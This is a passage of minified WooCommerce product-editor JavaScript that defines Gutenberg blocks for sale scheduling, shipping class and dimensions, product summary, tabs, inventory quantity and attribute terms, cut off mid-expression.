Po=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-schedule-sale-fields","title":"Product schedule sale fields","category":"woocommerce","description":"The product schedule sale fields.","keywords":["products","schedule","sale"],"textdomain":"default","attributes":{"name":{"type":"string","__experimentalRole":"content"}},"supports":{"align":false,"html":false,"multiple":true,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}'),Io=window.moment;var Ao=o.n(Io);const Oo=window.wp.date,{name:Ro,...Mo}=Po,Lo={example:{},edit:function(e){let{clientId:t}=e;const o=(0,Je.useBlockProps)(),r=(0,Oo.getSettings)().formats.datetime,[n,i]=(0,a.useState)(!1),[s]=(0,se.useEntityProp)("postType","product","sale_price"),m=Number.parseFloat(s||"0")>0,[u,d]=(0,se.useEntityProp)("postType","product","date_on_sale_from_gmt"),[p,_]=(0,se.useEntityProp)("postType","product","date_on_sale_to_gmt"),f=Ao()().startOf("minute").toISOString();(0,a.useEffect)((()=>{m||(i(!1),d(""),_(""))}),[m]),(0,a.useEffect)((()=>{(u||p)&&i(!0)}),[u,p]);const h=Ao()(u,Ao().ISO_8601,!0),g=Ao()(p,Ao().ISO_8601,!0),{ref:b,error:E,validate:v}=Gt(`date_on_sale_from_gmt-${t}`,(async function(){if(n&&u){if(!h.isValid())return(0,w.__)("Please enter a valid date.","woocommerce");if(h.isAfter(g))return(0,w.__)("The start date of the sale must be before the end date.","woocommerce")}}),[n,u,h,g]),{ref:y,error:k,validate:C}=Gt(`date_on_sale_to_gmt-${t}`,(async function(){if(n&&p){if(!g.isValid())return(0,w.__)("Please enter a valid date.","woocommerce");if(g.isBefore(h))return(0,w.__)("The end date of the sale must be after the start date.","woocommerce")}}),[n,u,h,g]);return(0,a.createElement)("div",{...o},(0,a.createElement)(c.ToggleControl,{label:(0,w.__)("Schedule sale","woocommerce"),checked:n,onChange:function(e){(0,N.recordEvent)("product_pricing_schedule_sale_toggle_click",{enabled:e}),i(e),e?(d(f),_("")):(d(""),_(""))},disabled:!m}),n&&(0,a.createElement)("div",{className:"wp-block-columns"},(0,a.createElement)("div",{className:"wp-block-column"},(0,a.createElement)(l.DateTimePickerControl,{ref:b,label:(0,w.__)("From","woocommerce"),placeholder:(0,w.__)("Sale start date and time (optional)","woocommerce"),dateTimeFormat:r,currentDate:u,onChange:d,className:E&&"has-error",help:E,onBlur:v})),(0,a.createElement)("div",{className:"wp-block-column"},(0,a.createElement)(l.DateTimePickerControl,{ref:y,label:(0,w.__)("To","woocommerce"),placeholder:(0,w.__)("Sale end date and time (optional)","woocommerce"),dateTimeFormat:r,currentDate:p,onChange:e=>_(Ao()(e).startOf("minute").toISOString()),onBlur:C,className:k&&"has-error",help:k}))))}};function Fo(){return Qe({name:Ro,metadata:Mo,settings:Lo})}const Bo=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-section","title":"Product section","category":"woocommerce","description":"The product section.","keywords":["products","section","group"],"textdomain":"default","attributes":{"title":{"type":"string"},"description":{"type":"string","__experimentalRole":"content"},"icon":{"type":"object"}},"supports":{"align":false,"html":false,"multiple":true,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}');function Do(e){let{clientId:t}=e;const o=(0,b.useSelect)((e=>{const{getBlockAttributes:o,getBlockName:r}=e("core/block-editor"),n=o(t);if(null==n?void 0:n.icon)return n.icon;const{getBlockType:a}=e("core/blocks"),l=a(r(t));return null==l?void 0:l.icon}),[t]);if(!o)return null;if("object"==typeof o){const{src:e,...t}=o;if(/^<(.)+>$/.test(e)){const o=(0,a.createElement)(a.RawHTML,{"aria-hidden":"true",...t},e);return(0,a.createElement)(Je.BlockIcon,{icon:o,showColors:!0})}if(/^https?:\/\/(.)+/.test(e)){const o=(0,a.createElement)("img",{src:e,alt:"","aria-hidden":"true",...t,height:24,width:24});return(0,a.createElement)(Je.BlockIcon,{icon:o,showColors:!0})}}return(0,a.createElement)(Je.BlockIcon,{icon:o,showColors:!0})}const{name:Vo,...zo}=Bo,Ho={example:{},edit:function(e){let{attributes:t,clientId:o}=e;const r=(0,Je.useBlockProps)(),{description:n,title:l}=t;return(0,a.createElement)("div",{...r},(0,a.createElement)("h2",{className:"wp-block-woocommerce-product-section__title"},(0,a.createElement)(Do,{clientId:o}),(0,a.createElement)("span",null,l)),n&&(0,a.createElement)("p",{className:"wp-block-woocommerce-product-section__description",dangerouslySetInnerHTML:kt(n)}),(0,a.createElement)(Je.InnerBlocks,{templateLock:"all"}))}};function Uo(){return Qe({name:Vo,metadata:zo,settings:Ho})}const $o=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-shipping-class-field","title":"Product shipping class field","category":"woocommerce","description":"The product shipping class field.","keywords":["products","shipping","class"],"textdomain":"default","attributes":{"title":{"type":"string","__experimentalRole":"content"}},"supports":{"align":false,"html":false,"multiple":true,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}');function jo(e){let{onAdd:t,onCancel:o}=e;var r;const{errors:n,getInputProps:i,isValidForm:s}=(0,l.useFormContext)(),[m,u]=(0,a.useState)(!1);return(0,a.createElement)("div",{className:"woocommerce-add-new-shipping-class-modal__wrapper"},(0,a.createElement)(c.TextControl,{...i("name"),placeholder:(0,w.__)("e.g. Fragile products","woocommerce"),label:(0,a.createInterpolateElement)((0,w.__)("Name <required />","woocommerce"),{required:(0,a.createElement)("span",{className:"woocommerce-add-new-shipping-class-modal__optional-input"},(0,w.__)("(required)","woocommerce"))})}),(0,a.createElement)(c.TextControl,{...i("slug"),label:(0,w.__)("Slug","woocommerce")}),(0,a.createElement)(c.TextControl,{...i("description"),label:(0,w.__)("Description","woocommerce"),help:null!==(r=null==n?void 0:n.description)&&void 0!==r?r:(0,w.__)("Describe how you and other store administrators can use this shipping class.","woocommerce")}),(0,a.createElement)("div",{className:"woocommerce-add-new-shipping-class-modal__buttons"},(0,a.createElement)(c.Button,{isSecondary:!0,onClick:o},(0,w.__)("Cancel","woocommerce")),(0,a.createElement)(c.Button,{isPrimary:!0,isBusy:m,disabled:!s||m,onClick:function(){u(!0),t().then((()=>{u(!1),o()})).catch((()=>{u(!1)}))}},(0,w.__)("Add","woocommerce"))))}function Wo(e){var t;const o={};return(null===(t=e.name)||void 0===t?void 0:t.length)||(o.name=(0,w.__)("The shipping class name is required.","woocommerce")),o}const Go={name:"",slug:"",description:""};function qo(e){let{shippingClass:t,onAdd:o,onCancel:r}=e;return(0,a.createElement)(c.Modal,{title:(0,w.__)("New shipping class","woocommerce"),className:"woocommerce-add-new-shipping-class-modal",onRequestClose:r},(0,a.createElement)(l.Form,{initialValues:null!=t?t:Go,validate:Wo,errors:{},onSubmit:o},(e=>(0,a.createElement)(jo,{onAdd:e.handleSubmit,onCancel:r}))))}const Jo=[{value:"",label:(0,w.__)("No shipping class","woocommerce")},{value:C,label:(0,w.__)("Add new shipping class","woocommerce")}];function Ko(e){return e.map((e=>{let{slug:t,name:o}=e;return{value:t,label:o}}))}function Yo(e,t){const o=null==e?void 0:e.find((e=>{let{slug:t}=e;return"uncategorized"!==t}));if(o&&!(null==t?void 0:t.some((e=>{let{slug:t}=e;return t===o.slug}))))return{name:o.name,slug:o.slug}}const{name:Xo,...Zo}=$o,Qo={example:{},edit:function(e){let{}=e;const[t,o]=(0,a.useState)(!1),r=(0,Je.useBlockProps)(),{createProductShippingClass:n,invalidateResolution:i}=(0,b.useDispatch)(v.EXPERIMENTAL_PRODUCT_SHIPPING_CLASSES_STORE_NAME),{createErrorNotice:s}=(0,b.useDispatch)("core/notices"),[m]=(0,se.useEntityProp)("postType","product","categories"),[u,d]=(0,se.useEntityProp)("postType","product","shipping_class");function p(e){let t=(0,w.__)("We couldnโ€™t add this shipping class. Try again in a few seconds.","woocommerce");throw"term_exists"===e.code&&(t=(0,w.__)("A shipping class with that slug already exists.","woocommerce")),s(t,{explicitDismiss:!0}),e}const{shippingClasses:_}=(0,b.useSelect)((e=>{var t;const{getProductShippingClasses:o}=e(v.EXPERIMENTAL_PRODUCT_SHIPPING_CLASSES_STORE_NAME);return{shippingClasses:null!==(t=o())&&void 0!==t?t:[]}}),[]),f=(0,q.useInstanceId)(c.BaseControl,"wp-block-woocommerce-product-shipping-class-field");return(0,a.createElement)("div",{...r},(0,a.createElement)("div",{className:"wp-block-columns"},(0,a.createElement)("div",{className:"wp-block-column"},(0,a.createElement)(c.SelectControl,{id:f,name:"shipping_class",value:u,onChange:e=>{e!==C?d(e):o(!0)},label:(0,w.__)("Shipping class","woocommerce"),options:[...Jo,...Ko(null!=_?_:[])],help:(0,a.createInterpolateElement)((0,w.__)("Manage shipping classes and rates in <Link>global settings</Link>.","woocommerce"),{Link:(0,a.createElement)(l.Link,{href:(0,Le.getNewPath)({tab:"shipping",section:"classes"},"",{},"wc-settings"),target:"_blank",type:"external",onClick:()=>{(0,N.recordEvent)("product_shipping_global_settings_link_click")}},(0,a.createElement)(a.Fragment,null))})})),(0,a.createElement)("div",{className:"wp-block-column"})),t&&(0,a.createElement)(qo,{shippingClass:Yo(m,_),onAdd:e=>n(e).then((e=>((0,N.recordEvent)("product_new_shipping_class_modal_add_button_click"),i("getProductShippingClasses"),d(e.slug),e))).catch(p),onCancel:()=>o(!1)}))}};function er(){return Qe({name:Xo,metadata:Zo,settings:Qo})}const tr=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-shipping-dimensions-fields","title":"Product shipping dimensions fields","category":"woocommerce","description":"The product shipping dimensions fields.","keywords":["products","shipping","dimensions"],"textdomain":"default","attributes":{"__contentEditable":{"type":"string","__experimentalRole":"content"}},"supports":{"align":false,"html":false,"multiple":false,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}');function or(e){let{highlight:t,labels:o={},...r}=e;return(0,a.createElement)("svg",{width:"295",height:"195",viewBox:"0 0 295 195",fill:"none",xmlns:"http://www.w3.org/2000/svg",...r},(0,a.createElement)("path",{d:"M11.5664 134.604V35.3599C11.5664 33.9482 12.9862 32.9782 14.3014 33.4915L99.6373 66.7959C100.4 67.0935 100.905 67.8243 100.914 68.6426L102.037 171.578C102.052 173.027 100.574 174.014 99.2419 173.444L12.7831 136.448C12.0451 136.132 11.5664 135.407 11.5664 134.604Z",fill:"A"===t?"#F0F6FC":"#FFFFFF"}),(0,a.createElement)("path",{d:"M11.5664 134.603V35.3599C11.5664 33.9482 12.9862 32.9782 14.3014 33.4915L99.624 66.7908C100.393 67.0909 100.9 67.8314 100.901 68.6569L101.024 174.131L12.7844 136.447C12.0457 136.132 11.5664 135.406 11.5664 134.603Z",stroke:"#E0E0E0",strokeWidth:"2.00574"}),(0,a.createElement)("path",{d:"M1.25977 150.388L86.0112 188.183",stroke:"A"===t?"#006FAD":"#CCCCCC",strokeWidth:"1.50431",strokeMiterlimit:"16"}),(0,a.createElement)("path",{d:"M250.775 32.9793L100.9 66.9577V172.981C100.9 174.297 102.146 175.257 103.418 174.921L251.73 135.764C252.611 135.531 253.224 134.735 253.224 133.824V34.9354C253.224 33.6488 252.03 32.6948 250.775 32.9793Z",fill:"B"===t?"#F0F6FC":"#FFFFFF",stroke:"#E0E0E0",strokeWidth:"2.00574"}),(0,a.createElement)("path",{d:"M270.402 28.9875V132.064",stroke:"C"===t?"#006FAD":"#CCCCCC",strokeWidth:"1.50431",strokeMiterlimit:"16"}),(0,a.createElement)("path",{d:"M257.804 152.679L107.771 192.765",stroke:"B"===t?"#006FAD":"#CCCCCC",strokeWidth:"1.50431",strokeMiterlimit:"16"}),(0,a.createElement)("path",{d:"M13.1406 33.41L161.446 1.61817C161.808 1.54066 162.184 1.56462 162.533 1.68742L251.16 32.8868",stroke:"#E0E0E0",strokeWidth:"2.00574"}),o.C?(0,a.createElement)("text",{x:"280",y:"85",fontSize:11,fill:"C"===t?"#007CBA":"#949494"},o.C):(0,a.createElement)("path",{d:"M282.123 80.7892C282.123 79.5323 282.435 78.5405 283.058 77.8136C283.685 77.0867 284.537 76.7233 285.615 76.7233C286.467 76.7233 287.192 76.9739 287.79 77.4752C288.391 77.9729 288.741 78.6175 288.837 79.4088H287.639C287.525 78.9326 287.285 78.553 286.92 78.2701C286.558 77.9873 286.123 77.8458 285.615 77.8458C284.92 77.8458 284.368 78.1108 283.96 78.6407C283.556 79.1671 283.353 79.8833 283.353 80.7892C283.353 81.6915 283.556 82.4077 283.96 82.9376C284.368 83.464 284.922 83.7272 285.62 83.7272C286.132 83.7272 286.569 83.5983 286.93 83.3405C287.296 83.0826 287.532 82.7353 287.639 82.2985H288.837C288.73 83.0647 288.382 83.6824 287.795 84.1515C287.208 84.617 286.483 84.8497 285.62 84.8497C284.542 84.8497 283.69 84.4863 283.063 83.7594C282.437 83.0325 282.123 82.0424 282.123 80.7892Z",fill:"C"===t?"#007CBA":"#949494"}),o.B?(0,a.createElement)("text",{x:"188",y:"190",fontSize:11,fill:"B"===t?"#007CBA":"#949494"},o.B):(0,a.createElement)("path",{d:"M192.281 189.611V181.861H195.396C196.123 181.861 196.692 182.034 197.104 182.382C197.519 182.725 197.727 183.196 197.727 183.794C197.727 184.199 197.596 184.562 197.335 184.885C197.073 185.203 196.751 185.395 196.368 185.459V185.551C196.891 185.604 197.312 185.803 197.63 186.147C197.953 186.487 198.114 186.91 198.114 187.414C198.114 188.098 197.879 188.635 197.41 189.026C196.941 189.416 196.293 189.611 195.466 189.611H192.281ZM193.484 188.591H195.224C195.765 188.591 196.177 188.483 196.459 188.268C196.742 188.054 196.884 187.74 196.884 187.328C196.884 186.924 196.737 186.618 196.443 186.41C196.15 186.199 195.72 186.093 195.154 186.093H193.484V188.591ZM193.484 185.142H194.913C195.442 185.142 195.844 185.048 196.116 184.858C196.391 184.664 196.529 184.383 196.529 184.015C196.529 183.656 196.404 183.379 196.153 183.182C195.906 182.981 195.561 182.881 195.117 182.881H193.484V185.142Z",fill:"B"===t?"#007CBA":"#949494"}),o.A?(0,a.createElement)("text",{x:"18",y:"185",fontSize:11,fill:"A"===t?"#007CBA":"#949494"},o.A):(0,a.createElement)("path",{d:"M22.7694 185.149L25.5678 177.399H26.8622L29.6605 185.149H28.3822L27.6732 183.092H24.7191L24.0048 185.149H22.7694ZM25.0253 182.082H27.3671L26.2445 178.806H26.1532L25.0253 182.082Z",fill:"A"===t?"#007CBA":"#949494"}))}const{name:rr,...nr}=tr,ar={example:{},edit:function(e){let{clientId:t}=e;var o,r,n;const l=(0,Je.useBlockProps)(),[i,s]=(0,se.useEntityProp)("postType","product","dimensions"),[m,u]=(0,se.useEntityProp)("postType","product","weight"),[d,p]=(0,a.useState)(),{formatNumber:_,parseNumber:f}=L(),{dimensionUnit:h,weightUnit:g}=(0,b.useSelect)((e=>{const{getOption:t}=e(v.OPTIONS_STORE_NAME);return{dimensionUnit:t("woocommerce_dimension_unit"),weightUnit:t("woocommerce_weight_unit")}}),[]);function E(e,t){return{name:`dimensions.${e}`,value:i?_(String(i[e])):void 0,onChange:t=>s({...null!=i?i:{},[e]:f(t)}),onFocus:()=>p(t),onBlur:()=>p(void 0),suffix:h}}const{ref:y,error:k,validate:C}=Gt(`dimensions_width-${t}`,(async function(){if((null==i?void 0:i.width)&&+i.width<=0)return(0,w.__)("Width must be greater than zero.","woocommerce")}),[null==i?void 0:i.width]),{ref:S,error:T,validate:N}=Gt(`dimensions_length-${t}`,(async function(){if((null==i?void 0:i.length)&&+i.length<=0)return(0,w.__)("Length must be greater than zero.","woocommerce")}),[null==i?void 0:i.length]),{ref:x,error:P,validate:I}=Gt(`dimensions_height-${t}`,(async function(){if((null==i?void 0:i.height)&&+i.height<=0)return(0,w.__)("Height must be greater than zero.","woocommerce")}),[null==i?void 0:i.height]),{ref:A,error:O,validate:R}=Gt(`weight-${t}`,(async function(){if(m&&+m<=0)return(0,w.__)("Weight must be greater than zero.","woocommerce")}),[m]),M={...E("width","A"),id:(0,q.useInstanceId)(c.BaseControl,"product_shipping_dimensions_width"),ref:y,onBlur:C},F={...E("length","B"),id:(0,q.useInstanceId)(c.BaseControl,"product_shipping_dimensions_length"),ref:S,onBlur:N},B={...E("height","C"),id:(0,q.useInstanceId)(c.BaseControl,"product_shipping_dimensions_height"),ref:x,onBlur:I},D={id:(0,q.useInstanceId)(c.BaseControl,"product_shipping_weight"),name:"weight",value:_(String(m)),onChange:e=>u(f(e)),suffix:g,ref:A,onBlur:R};return(0,a.createElement)("div",{...l},(0,a.createElement)("h4",null,(0,w.__)("Dimensions","woocommerce")),(0,a.createElement)("div",{className:"wp-block-columns"},(0,a.createElement)("div",{className:"wp-block-column"},(0,a.createElement)(c.BaseControl,{id:M.id,label:(0,a.createInterpolateElement)((0,w.__)("Width <Side />","woocommerce"),{Side:(0,a.createElement)("span",null,"A")}),className:_e()({"has-error":k}),help:k},(0,a.createElement)(c.__experimentalInputControl,{...M})),(0,a.createElement)(c.BaseControl,{id:F.id,label:(0,a.createInterpolateElement)((0,w.__)("Length <Side />","woocommerce"),{Side:(0,a.createElement)("span",null,"B")}),className:_e()({"has-error":T}),help:T},(0,a.createElement)(c.__experimentalInputControl,{...F})),(0,a.createElement)(c.BaseControl,{id:B.id,label:(0,a.createInterpolateElement)((0,w.__)("Height <Side />","woocommerce"),{Side:(0,a.createElement)("span",null,"C")}),className:_e()({"has-error":P}),help:P},(0,a.createElement)(c.__experimentalInputControl,{...B})),(0,a.createElement)(c.BaseControl,{id:D.id,label:(0,w.__)("Weight","woocommerce"),className:_e()({"has-error":O}),help:O},(0,a.createElement)(c.__experimentalInputControl,{...D}))),(0,a.createElement)("div",{className:"wp-block-column"},(0,a.createElement)(or,{highlight:d,className:"wp-block-woocommerce-product-shipping-dimensions-fields__dimensions-image",labels:{A:(null===(o=M.value)||void 0===o?void 0:o.length)?M.value:void 0,B:(null===(r=F.value)||void 0===r?void 0:r.length)?F.value:void 0,C:(null===(n=B.value)||void 0===n?void 0:n.length)?B.value:void 0}}))))}};function lr(){return Qe({name:rr,metadata:nr,settings:ar})}const ir=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-summary-field","title":"Product summary","category":"widgets","description":"The product summary.","keywords":["products","summary","excerpt"],"textdomain":"default","attributes":{"align":{"type":"string"},"allowedFormats":{"type":"array","default":["core/bold","core/code","core/italic","core/link","core/strikethrough","core/underline","core/text-color","core/subscript","core/superscript","core/unknown"]},"direction":{"type":"string","enum":["ltr","rtl"]},"label":{"type":"string"},"content":{"type":"string","__experimentalRole":"content"}},"supports":{"align":false,"html":false,"multiple":false,"reusable":false,"inserter":false,"lock":false},"editorStyle":"file:./editor.css"}'),cr=(0,a.createElement)(he.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},(0,a.createElement)(he.Path,{d:"M5.52 2h7.43c.55 0 1 .45 1 1s-.45 1-1 1h-1v13c0 .55-.45 1-1 1s-1-.45-1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v12c0 .55-.45 1-1 1s-1-.45-1-1v-5.96h-.43C3.02 11.04 1 9.02 1 6.52S3.02 2 5.52 2zM14 14l5-4-5-4v8z"}));function sr(e){let{direction:t,onChange:o}=e;return(0,a.createElement)(a.Fragment,null,(0,w.isRTL)()&&(0,a.createElement)(c.ToolbarButton,{icon:cr,title:(0,w._x)("Left to right","editor button","woocommerce"),isActive:"ltr"===t,onClick:function(){"function"==typeof o&&o("ltr"===t?void 0:"ltr")}}))}const mr=(0,a.createElement)(he.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,a.createElement)(he.Path,{d:"M4 19.8h8.9v-1.5H4v1.5zm8.9-15.6H4v1.5h8.9V4.2zm-8.9 7v1.5h16v-1.5H4z"})),ur=(0,a.createElement)(he.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,a.createElement)(he.Path,{d:"M16.4 4.2H7.6v1.5h8.9V4.2zM4 11.2v1.5h16v-1.5H4zm3.6 8.6h8.9v-1.5H7.6v1.5z"})),dr=(0,a.createElement)(he.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,a.createElement)(he.Path,{d:"M11.1 19.8H20v-1.5h-8.9v1.5zm0-15.6v1.5H20V4.2h-8.9zM4 12.8h16v-1.5H4v1.5z"})),pr=(0,a.createElement)(he.SVG,{xmlns:"https://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,a.createElement)(he.Path,{d:"M4 12.8h16v-1.5H4v1.5zm0 7h12.4v-1.5H4v1.5zM4 4.3v1.5h16V4.3H4z"})),_r=[{icon:mr,title:(0,w.__)("Align text left","woocommerce"),align:"left"},{icon:ur,title:(0,w.__)("Align text center","woocommerce"),align:"center"},{icon:dr,title:(0,w.__)("Align text right","woocommerce"),align:"right"},{icon:pr,title:(0,w.__)("Align text justify","woocommerce"),align:"justify"}],{name:fr,...hr}=ir,gr={example:{},edit:function e(t){let{attributes:o,setAttributes:r}=t;const{align:n,allowedFormats:l,direction:i,label:s}=o,m=(0,Je.useBlockProps)({style:{direction:i}}),u=(0,q.useInstanceId)(e,"wp-block-woocommerce-product-summary-field__content"),[d,p]=(0,se.useEntityProp)("postType","product","short_description"),{clearSelectedBlock:_}=(0,b.useDispatch)(Je.store);return(0,a.createElement)("div",{className:"wp-block wp-block-woocommerce-product-summary-field-wrapper"},(0,a.createElement)(Je.BlockControls,{group:"block"},(0,a.createElement)(Je.AlignmentControl,{alignmentControls:_r,value:n,onChange:function(e){r({align:e})}}),(0,a.createElement)(sr,{direction:i,onChange:function(e){r({direction:e})}})),(0,a.createElement)(c.BaseControl,{id:u.toString(),label:s||(0,w.__)("Summary","woocommerce")},(0,a.createElement)("div",{...m},(0,a.createElement)(Je.RichText,{id:u.toString(),identifier:"content",tagName:"p",value:d,onChange:p,placeholder:(0,w.__)("Summarize this product in 1-2 short sentences. We'll show it at the top of the page.","woocommerce"),"data-empty":Boolean(d),className:_e()("components-summary-control",{[`has-text-align-${n}`]:n}),dir:i,allowedFormats:l,onBlur:function(e){var t;(null===(t=e.relatedTarget)||void 0===t?void 0:t.closest(".block-editor-block-contextual-toolbar"))||_()}}))))}};function br(){return Qe({name:fr,metadata:hr,settings:gr})}const wr=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-tab","title":"Product tab","category":"woocommerce","description":"The product tab.","keywords":["products","tab","group"],"textdomain":"default","attributes":{"id":{"type":"string"},"title":{"type":"string"},"order":{"type":"number"}},"supports":{"align":false,"html":false,"multiple":true,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"usesContext":["selectedTab"],"editorStyle":"file:./editor.css","templateLock":"contentOnly"}'),Er=100,vr=e=>{let{children:t}=e;return(0,a.createElement)(a.Fragment,null,t)};function yr(e){let{children:t,className:o,id:r,order:n=Er,selected:l=!1}=e;const i=_e()("wp-block-woocommerce-product-tab__button",o,{"is-selected":l});return(0,a.createElement)(c.Fill,{name:je},(e=>{const{onClick:o}=e;return(0,a.createElement)(vr,{order:n},(0,a.createElement)(c.Button,{key:r,className:i,onClick:()=>o(r),id:`woocommerce-product-tab__${r}`,"aria-controls":`woocommerce-product-tab__${r}-content`,"aria-selected":l},t))}))}const{name:kr}=wr,Cr={example:{},edit:function(e){let{attributes:t,context:o}=e;const r=(0,Je.useBlockProps)(),{id:n,title:l,order:i}=t,c=(null==o?void 0:o.selectedTab)===n,s=_e()("wp-block-woocommerce-product-tab__content",{"is-selected":c});return(0,a.createElement)("div",{...r},(0,a.createElement)(yr,{id:n,selected:c,order:i},l),(0,a.createElement)("div",{id:`woocommerce-product-tab__${n}-content`,"aria-labelledby":`woocommerce-product-tab__${n}`,role:"tabpanel",className:s},(0,a.createElement)(Je.InnerBlocks,{templateLock:"contentOnly"})))}},Sr=()=>nt({name:kr,metadata:wr,settings:Cr}),Tr=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-inventory-quantity-field","title":"Product inventory quantity available","category":"woocommerce","description":"The product available quantity.","keywords":["products","quantity","inventory"],"textdomain":"default","attributes":{"name":{"type":"string","__experimentalRole":"content"}},"supports":{"align":false,"html":false,"multiple":false,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}'),{name:Nr,...xr}=Tr,Pr={example:{},edit:function(e){let{clientId:t}=e;const o=(0,Je.useBlockProps)(),[r]=(0,se.useEntityProp)("postType","product","manage_stock"),[n,l]=(0,se.useEntityProp)("postType","product","stock_quantity"),i=(0,q.useInstanceId)(c.BaseControl,"product_stock_quantity"),{ref:s,error:m,validate:u}=Gt(`stock_quantity-${t}`,(async function(){if(r&&n&&n<0)return(0,w.__)("Stock quantity must be a positive number.","woocommerce")}),[r,n]);return(0,a.useEffect)((()=>{r&&null===n&&l(1)}),[r,n]),(0,a.createElement)("div",{...o},(0,a.createElement)("div",{className:"wp-block-columns"},(0,a.createElement)("div",{className:"wp-block-column"},(0,a.createElement)(c.BaseControl,{id:i,className:m&&"has-error",help:null!=m?m:""},(0,a.createElement)(c.__experimentalInputControl,{id:i,name:"stock_quantity",ref:s,label:(0,w.__)("Available quantity","woocommerce"),value:n,onChange:l,onBlur:u,type:"number",min:0}))),(0,a.createElement)("div",{className:"wp-block-column"})))}};function Ir(){return Qe({name:Nr,metadata:xr,settings:Pr})}const Ar=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-toggle-field","title":"Product toggle control","category":"woocommerce","description":"The product toggle.","keywords":["products","radio","input"],"textdomain":"default","attributes":{"label":{"type":"string","__experimentalRole":"content"},"property":{"type":"string"},"disabled":{"type":"boolean","default":false}},"supports":{"align":false,"html":false,"multiple":true,"reusable":true,"inserter":false,"lock":false,"__experimentalToolbar":false}}'),{name:Or,...Rr}=Ar,Mr={example:{},edit:function(e){let{attributes:t}=e;const o=(0,Je.useBlockProps)(),{label:r,property:n,disabled:l}=t,[i,s]=(0,se.useEntityProp)("postType","product",n);return(0,a.createElement)("div",{...o},(0,a.createElement)(c.ToggleControl,{label:r,checked:i,disabled:l,onChange:s}))}};function Lr(){return Qe({name:Or,metadata:Rr,settings:Mr})}const Fr=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"woocommerce/product-attributes-field","title":"Product attributes","category":"widgets","description":"The product attributes.","keywords":["products","attributes"],"textdomain":"default","attributes":{"name":{"type":"string","__experimentalRole":"content"}},"supports":{"align":false,"html":false,"multiple":false,"reusable":false,"inserter":false,"lock":false,"__experimentalToolbar":false},"editorStyle":"file:./editor.css"}'),Br=(0,a.createElement)(he.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,a.createElement)(he.Path,{d:"M18 11.2h-5.2V6h-1.6v5.2H6v1.6h5.2V18h1.6v-5.2H18z"})),Dr=e=>{let{initialAttributeTermName:t,attributeId:o,onCancel:r=(()=>{}),onCreated:n=(()=>{})}=e;const{createNotice:i}=(0,b.useDispatch)("core/notices"),[s,m]=(0,a.useState)(!1),{createProductAttributeTerm:u,invalidateResolutionForStoreSelector:d}=(0,b.useDispatch)(v.EXPERIMENTAL_PRODUCT_ATTRIBUTE_TERMS_STORE_NAME);return(0,a.createElement)(c.Modal,{title:(0,w.__)("Create attribute","woocommerce"),onRequestClose:e=>{e.stopPropagation(),r()},className:"woocommerce-create-attribute-term-modal"},(0,a.createElement)(l.Form,{initialValues:{name:t,slug:(0,E.cleanForSlug)(t)},validate:function(e){var t;const o={};return(null===(t=e.name)||void 0===t?void 0:t.length)||(o.name=(0,w.__)("The attribute term name is required.","woocommerce")),o},errors:{},onSubmit:async e=>{(0,N.recordEvent)("product_attribute_term_add",{new_product_page:!0}),m(!0);try{const t=await u({...e,attribute_id:o});(0,N.recordEvent)("product_attribute_term_add_success",{new_product_page:!0}),d("getProductAttributes"),m(!1),n(t)}catch(e){(0,N.recordEvent)("product_attribute_term_add_failed",{new_product_page:!0}),i("error",(0,w.__)("Failed to create attribute term.","woocommerce")),m(!1),r()}}},(e=>{let{getInputProps:t,handleSubmit:o,isValidForm:n,setValue:l,values:i}=e;const m=t("name");return(0,a.createElement)(a.Fragment,null,(0,a.createElement)(c.TextControl,{label:(0,w.__)("Name","woocommerce"),...m,onBlur:()=>{m.onBlur(),l("slug",(0,E.cleanForSlug)(i.name))}}),(0,a.createElement)(c.TextControl,{label:(0,w.__)("Slug","woocommerce"),...t("slug"),help:(0,w.__)("The โ€œslugโ€ is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.","woocommerce")}),(0,a.createElement)(c.TextareaControl,{label:(0,w.__)("Description","woocommerce"),...t("description")}),(0,a.createElement)("div",{className:"woocommerce-create-attribute-term-modal__buttons"},(0,a.createElement)(c.Button,{isSecondary:!0,label:(0,w.__)("Cancel","woocommerce"),onClick:()=>r()},(0,w.__)("Cancel","woocommerce")),(0,a.createElement)(c.Button,{isPrimary:!0,isBusy:s,label:(0,w.__)("Add attribute","woocommerce"),disabled:!n||s,onClick:o},(0,w.__)("Add","woocommerce"))))})))};let Vr=0;const zr=e=>{let{value:t=[],onChange:o,placeholder:r,disabled:n,attributeId:i,label:s=""}=e;const m=(0,a.useRef)("woocommerce-attribute-term-field-"+ 